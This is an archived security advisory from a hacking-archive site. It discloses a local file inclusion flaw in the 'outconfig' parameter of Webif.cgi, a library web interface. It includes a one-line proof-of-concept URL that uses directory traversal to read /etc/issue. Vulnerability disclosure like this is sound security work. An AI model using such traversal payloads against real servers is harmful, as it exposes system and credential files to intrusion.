AOH :: HP Unsorted W :: TB11333.HTM

Webif.cgi local file inclusion



Webif.cgi local file inclusion
Webif.cgi local file inclusion



.:: WEBIF.CGI LOCALE FILE INCLUSION ::.

[#] AUTHOR: maiosyet
[#] CONTACT: maiosyet@mawk.org 
[#] SITE: http://www.mawk.org 

[#] ORIGINAL ADV:
http://www.mawk.org/mods.php?mods=Core&page=view&id=102 

[#] SOFTWARE: Webif.cgi
http://www.ifnet.it/webif/ 

[#] DESCRIPTION:
Webif is the natural solution for librarianships who want visibility across 
the web or would like to manage Intranet networks, the whole at a reasonable price.

[#] BUG:
Input passed to the "outconfig" parameter in webif.cgi is not properly verified.
This can be exploited to include arbitrary files from local resources.

[#] PoC:
http://www.site.org/webif/webif.cgi?cmd=query&config=conf_2000/config.txt&outconfig=../../../../etc/issue 

[#] Thanks: 
Einyx; Anathema, Hidden, XVII, Shatsar, Kaisentlaia and all the mawkers; black_dhalya :*
Federico, Eveline (you know who you are). 

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.